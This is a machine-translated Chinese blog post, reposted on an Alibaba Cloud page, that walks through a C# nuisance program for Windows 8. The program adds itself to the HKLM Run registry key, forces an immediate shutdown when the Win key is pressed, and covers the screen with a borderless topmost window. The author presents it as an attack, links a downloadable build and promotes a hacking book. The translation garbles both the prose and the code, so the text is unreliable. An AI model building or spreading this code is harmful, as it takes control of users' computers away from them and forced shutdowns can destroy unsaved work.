C # Three actions to kill WIN8 "small white special version"

Source: Internet
Author: User
Tags explode modifiers

Yesterday I was a little white I'm afraid of who the first period of time inadvertently found Win8 a very obvious feature-press the win key will enter a convenient mode (click the program directly into the)

Well, this is good, very convenient, but ...

As we all know, the system those key keys to make small black people very headache? Win key is undoubtedly the first three (Ctrl+alt+del alt+f4 and so on ... )
If you do not pass some such as the hook and other special treatment will be very painful, and win8 to win key use for, this is a breakthrough!

Three actions:
1. Boot up (in order to allow the software to live a happy life)

2. Block Task Manager (don't let you end me, the best defense is offensive)

3. Fill top (no border, Apex)

Common sense:
As long as the people who have learned programming, can explode computer, such as a dead loop constantly executing a thing, a memory will explode, this method I will not say, too technical content


Detailed analysis:

{Boot Start}
First analyze how to add the startup item (I'm a little white I'm afraid who's going to say the third time) write the path of the current EXE to the registry and run it the next time you start

string kjlj = Application.executablepath; if (!             System.IO.File.Exists (KJLJ))//Determine whether the specified file exists return; String newkjlj = Kjlj. Substring (KJLJ.             LastIndexOf ("\ \") + 1); RegistryKey Rkey = Registry.LocalMachine.OpenSubKey ("Software\\microsoft\\windows\\currentversion\\run", t             Rue); if (Rkey = = null) Rkey = Registry.LocalMachine.CreateSubKey ("software\\microsoft\\windows\\currentversion\             \run "); Rkey.setvalue (NEWKJLJ, KJLJ);

{Mask Task Manager}

General people are with hooks, that is too annoying, and novice not how to understand, I teach you a simple way
With KeyDown event, when CTRL or ALT is pressed to execute-shutdown (we are small white, fight but you, I hide)

private void Form1_previewkeydown (object sender, Previewkeydowneventargs e) {if (e.modifiers = = Keys.lwi n | | E.modifiers = = Keys.rwin) {this. DNT (); Shutdown events

}
}

 [dllimport ("user32.dll", EntryPoint = "ExitWindowsEx", CharSet = CharSet.Ansi)]       private static extern int ExitWindowsEx (int uflags, int dwreserved);       public void DNT ()//shutdown        {           system.diagnostics.process myprocess = new System.Diagnostics.Process ();           myprocess.startinfo.filename = "cmd.exe";           myprocess.startinfo.useshellexecute = false;           my Process.StartInfo.RedirectStandardInput = true;            MyProcess.StartInfo.RedirectStandardOutput = true;            MyProcess.StartInfo.RedirectStandardError = true;            MyProcess.StartInfo.CreateNoWindow = true;           myprocess.start ();           myprocess.Standardinput.writeline ("Shutdown-s-T 0"); -R Restart-s shutdown

}

{Pad Sticky}

When the form loads:
This.            FormBorderStyle = Formborderstyle.none; This. WindowState = formwindowstate.maximized;

This. topmost = true;

First of all I made a test version of it, I went to bed, tired, and tomorrow to get
Http://pan.baidu.com/s/1bn4Bd8r

This issue is recommended: The Art of Invasion: HTTP://PAN.BAIDU.COM/S/1O6HMKRG the Art of invasion and the art of deception is known as the hacker classic book

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.